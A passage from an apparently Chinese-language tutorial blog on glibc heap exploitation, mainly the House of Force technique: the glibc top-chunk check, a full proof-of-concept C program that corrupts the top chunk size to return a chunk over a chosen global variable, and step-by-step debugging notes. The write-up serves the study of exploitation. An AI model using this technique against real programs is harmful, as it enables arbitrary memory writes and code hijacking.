	printf("Next malloc(0x200) is at %p\n", d);

最后申请了一个0x200大小的空间,打印了其地址

打印的地址也是fake_chunk的data域,虽然还是不知道为什么在pwndbg的heap命令没有显示申请的这个堆

11.程序运行结果:

5.house_of_force

house_of_einherjar不同在于:house_of_einherjar触发的合并将topchunk变得很大,而house_of_force是修改topchunk的size位来变得很大,不过最后都是因为很大的chunk可以申请到任意地址

这个例子是修改topchunk的size导致我们可以申请部分不用的空间,使下一次申请的空间为我们想要的地方,这就造成了任意地址改写,但是需要通过修改top chunk 的size位来实现

下面是从top chunk申请空间的检测(后面调试的步骤5就是绕过这个检测)在源码2728行:

  /* finally, do the allocation */
  p = av->top;//p指向当前top chunk
  size = chunksize (p); //获取top chunk的size

  /* check that one of the above allocation paths succeeded */
    //这里的nb是要从top chunk申请的chunk大小(包括头部的0x10)
    //MINSIZE是一个chunk需要的最小的空间(32位0x10,64位0x20,为pre_size,size,fd,bk)
  if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE))
    { //if 是判断 保障top chunk去掉这个nb chunk后仍然有一个最小chunk大小的空间
      remainder_size = size - nb; //top chunk剩余大小
      remainder = chunk_at_offset (p, nb);  //得到新top chunk的头部地址
      av->top = remainder;
        //下面的set_heap是设置切割出去的chunk和新 top chunk 的size
      set_head (p, nb | PREV_INUSE | (av != &main_arena ? NON_MAIN_ARENA : 0));
      set_head (remainder, remainder_size | PREV_INUSE);

      check_malloced_chunk (av, p, nb);//作用不明。。。
      return chunk2mem (p); //返回用户指针
    }

1.程序源码:

/*

   This PoC works also with ASLR enabled.
   It will overwrite a GOT entry so in order to apply exactly this technique RELRO must be disabled.
   If RELRO is enabled you can always try to return a chunk on the stack as proposed in Malloc Des Maleficarum 
   ( http://phrack.org/issues/66/10.html )

   Tested in Ubuntu 14.04, 64bit, Ubuntu 18.04

*/


#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>
#include <assert.h>

char bss_var[] = "This is a string that we want to overwrite.";

int main(int argc , char* argv[])
{
	fprintf(stderr, "\nWelcome to the House of Force\n\n");
	fprintf(stderr, "The idea of House of Force is to overwrite the top chunk and let the malloc return an arbitrary value.\n");
	fprintf(stderr, "The top chunk is a special chunk. Is the last in memory "
		"and is the chunk that will be resized when malloc asks for more space from the os.\n");

	fprintf(stderr, "\nIn the end, we will use this to overwrite a variable at %p.\n", bss_var);
	fprintf(stderr, "Its current value is: %s\n", bss_var);



	fprintf(stderr, "\nLet's allocate the first chunk, taking space from the wilderness.\n");
	intptr_t *p1 = malloc(256);
	fprintf(stderr, "The chunk of 256 bytes has been allocated at %p.\n", p1 - 2);

	fprintf(stderr, "\nNow the heap is composed of two chunks: the one we allocated and the top chunk/wilderness.\n");
	int real_size = malloc_usable_size(p1);
	fprintf(stderr, "Real size (aligned and all that jazz) of our allocated chunk is %ld.\n", real_size + sizeof(long)*2);

	fprintf(stderr, "\nNow let's emulate a vulnerability that can overwrite the header of the Top Chunk\n");

	//----- VULNERABILITY ----
	intptr_t *ptr_top = (intptr_t *) ((char *)p1 + real_size - sizeof(long));//??
	fprintf(stderr, "\nThe top chunk starts at %p\n", ptr_top);

	fprintf(stderr, "\nOverwriting the top chunk size with a big value so we can ensure that the malloc will never call mmap.\n");
	fprintf(stderr, "Old size of top chunk %#llx\n", *((unsigned long long int *)((char *)ptr_top + sizeof(long))));
	*(intptr_t *)((char *)ptr_top + sizeof(long)) = -1;
	fprintf(stderr, "New size of top chunk %#llx\n", *((unsigned long long int *)((char *)ptr_top + sizeof(long))));
	//------------------------

	fprintf(stderr, "\nThe size of the wilderness is now gigantic. We can allocate anything without malloc() calling mmap.\n"
	   "Next, we will allocate a chunk that will get us right up against the desired region (with an integer\n"
	   "overflow) and will then be able to allocate a chunk right over the desired region.\n");

	/*
	 * The evil_size is calulcated as (nb is the number of bytes requested + space for metadata):
	 * new_top = old_top + nb
	 * nb = new_top - old_top
	 * req + 2sizeof(long) = new_top - old_top
	 * req = new_top - old_top - 2sizeof(long)
	 * req = dest - 2sizeof(long) - old_top - 2sizeof(long)
	 * req = dest - old_top - 4*sizeof(long)
	 */
	unsigned long evil_size = (unsigned long)bss_var - sizeof(long)*4 - (unsigned long)ptr_top;
	fprintf(stderr, "\nThe value we want to write to at %p, and the top chunk is at %p, so accounting for the header size,\n"
	   "we will malloc %#lx bytes.\n", bss_var, ptr_top, evil_size);
	void *new_ptr = malloc(evil_size);
	fprintf(stderr, "As expected, the new pointer is at the same place as the old top chunk: %p\n", new_ptr - sizeof(long)*2);

	void* ctr_chunk = malloc(100);
	fprintf(stderr, "\nNow, the next chunk we overwrite will point at our target buffer.\n");
	fprintf(stderr, "malloc(100) => %p!\n", ctr_chunk);
	fprintf(stderr, "Now, we can finally overwrite that value:\n");

	fprintf(stderr, "... old string: %s\n", bss_var);
	fprintf(stderr, "... doing strcpy overwrite with \"YEAH!!!\"...\n");
	strcpy(ctr_chunk, "YEAH!!!");
	fprintf(stderr, "... new string: %s\n", bss_var);

	assert(ctr_chunk == bss_var);


	// some further discussion:
	//fprintf(stderr, "This controlled malloc will be called with a size parameter of evil_size = malloc_got_address - 8 - p2_guessed\n\n");
	//fprintf(stderr, "This because the main_arena->top pointer is setted to current av->top + malloc_size "
	//	"and we \nwant to set this result to the address of malloc_got_address-8\n\n");
	//fprintf(stderr, "In order to do this we have malloc_got_address-8 = p2_guessed + evil_size\n\n");
	//fprintf(stderr, "The av->top after this big malloc will be setted in this way to malloc_got_address-8\n\n");
	//fprintf(stderr, "After that a new call to malloc will return av->top+8 ( +8 bytes for the header ),"
	//	"\nand basically return a chunk at (malloc_got_address-8)+8 = malloc_got_address\n\n");

	//fprintf(stderr, "The large chunk with evil_size has been allocated here 0x%08x\n",p2);
	//fprintf(stderr, "The main_arena value av->top has been setted to malloc_got_address-8=0x%08x\n",malloc_got_address);

	//fprintf(stderr, "This last malloc will be served from the remainder code and will return the av->top+8 injected before\n");
}


这个示例是将一个全局变量给复写了,也提到了This PoC works also with ASLR enabled.But this technique RELRO must be disabled 也就是说如果想要修改got表,就不能开启RELRO

2.调试程序

1.执行到31行,打印区间变量地址

	fprintf(stderr, "\nWelcome to the House of Force\n\n");
	fprintf(stderr, "The idea of House of Force is to overwrite the top chunk and let the malloc return an arbitrary value.\n");
	fprintf(stderr, "The top chunk is a special chunk. Is the last in memory "
		"and is the chunk that will be resized when malloc asks for more space from the os.\n");

	fprintf(stderr, "\nIn the end, we will use this to overwrite a variable at %p.\n", bss_var);
	fprintf(stderr, "Its current value is: %s\n", bss_var);


查看具体值,这里就是我们需要利用本次漏洞改写的地方:

2.执行到37行

	fprintf(stderr, "\nLet's allocate the first chunk, taking space from the wilderness.\n");
	intptr_t *p1 = malloc(256);
	fprintf(stderr, "The chunk of 256 bytes has been allocated at %p.\n", p1 - 2);

申请一个smallbin,由于现在bin中没有chunk,所以会从topchunk上切割出一个,然后输出其起始地址(从pre_size开始)这里打印的地址是0x555555759000

3.执行到41行

	fprintf(stderr, "\nNow the heap is composed of two chunks: the one we allocated and the top chunk/wilderness.\n");
	int real_size = malloc_usable_size(p1);
	fprintf(stderr, "Real size (aligned and all that jazz) of our allocated chunk is %ld.\n", real_size + sizeof(long)*2);

计算chunk p1所占的真实大小(包括头部的0x10),原本申请的是0x100

4.执行到47行

	intptr_t *ptr_top = (intptr_t *) ((char *)p1 + real_size - sizeof(long));//??
	fprintf(stderr, "\nThe top chunk starts at %p\n", ptr_top);

一开始我不明白为什么要减去一个sizeof(long),但是在调试上一步时,发现给的real_size将topchunk的pre_size位也算入了进去,所以才要减掉这一部分才刚好是topchunk的头部


5.执行到52行

	fprintf(stderr, "\nOverwriting the top chunk size with a big value so we can ensure that the malloc will never call mmap.\n");
	fprintf(stderr, "Old size of top chunk %#llx\n", *((unsigned long long int *)((char *)ptr_top + sizeof(long))));
	*(intptr_t *)((char *)ptr_top + sizeof(long)) = -1;
	fprintf(stderr, "New size of top chunk %#llx\n", *((unsigned long long int *)((char *)ptr_top + sizeof(long))));

这一部分输出了top chunk的size位的值,然后通过将这个值置为-1,就会变为最大的值(因为是无符号数会产生回绕),然后打印新的size值;这里这样做是为了进行绕过检测

从下面可以看出size已经变成了最大值

6.执行到72行

	/*
	 * The evil_size is calulcated as (nb is the number of bytes requested + space for metadata):
	 * new_top = old_top + nb
	 * nb = new_top - old_top
	 * req + 2sizeof(long) = new_top - old_top
	 * req = new_top - old_top - 2sizeof(long)
	 * req = dest - 2sizeof(long) - old_top - 2sizeof(long)
	 * req = dest - old_top - 4*sizeof(long)
	 */
	unsigned long evil_size = (unsigned long)bss_var - sizeof(long)*4 - (unsigned long)ptr_top;  //evil_size是将目的地址前面的地址空间全部申请出去
	fprintf(stderr, "\nThe value we want to write to at %p, and the top chunk is at %p, so accounting for the header size,\n"
	   "we will malloc %#lx bytes.\n", bss_var, ptr_top, evil_size);
	void *new_ptr = malloc(evil_size);
	fprintf(stderr, "As expected, the new pointer is at the same place as the old top chunk: %p\n", new_ptr - sizeof(long)*2);

这里做出计算,来将下一次申请的chunk构造成正好是我们想要修改地址(dest-0x10为其目的地址的头部地址)

注释给了计算方式,这里再解释一下:

	 new_top = old_top + nb //更新top chunk为申请nb后的chunk(nb为申请的chunk)
	 nb = new_top - old_top //反推得nb的大小,这里新的top chunk 可以通过想要申请的目的地址-0x10(到其头部)来得到
	 req + 2sizeof(long) = new_top - old_top //这里req也就是申请nb实际的size大小(不包含头部)
	 req = new_top - old_top - 2sizeof(long)
	 req = dest - 2sizeof(long) - old_top - 2sizeof(long) //目的地址(dest)=new top_chunk-0x10
	 req = dest - old_top - 4*sizeof(long)

        //可以通过下面的推到理解
        //old_top+(req+0x10)=dest-0x10
        //req=dest-old_top-0x20

示例中的eval_size也就是req

可以发现申请完eval_size就到了我们的目的地址了

7.执行到84行

	void* ctr_chunk = malloc(100);
	fprintf(stderr, "\nNow, the next chunk we overwrite will point at our target buffer.\n");
	fprintf(stderr, "malloc(100) => %p!\n", ctr_chunk);
	fprintf(stderr, "Now, we can finally overwrite that value:\n");

	fprintf(stderr, "... old string: %s\n", bss_var);
	fprintf(stderr, "... doing strcpy overwrite with \"YEAH!!!\"...\n");
	strcpy(ctr_chunk, "YEAH!!!");
	fprintf(stderr, "... new string: %s\n", bss_var);

	assert(ctr_chunk == bss_var);

这里接着申请chunk,就可以申请到要修改的地址,然后修改他的值



成功修改了值,而且最后也绕过了判断assert(ctr_chunk == bss_var);

未完待续

参考:

https://blog.csdn.net/qq_54218833/article/details/122868272

https://infosecwriteups.com/the-toddlers-introduction-to-heap-exploitation-fastbin-dup-consolidate-part-4-2-ce6d68136aa8

https://www.konghaidashi.com/post/5080.html

https://www.cnblogs.com/L0g4n-blog/p/14031305.html

https://ctf-wiki.org/pwn/linux/user-mode/heap/ptmalloc2/house-of-einherjar/

  • 5
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值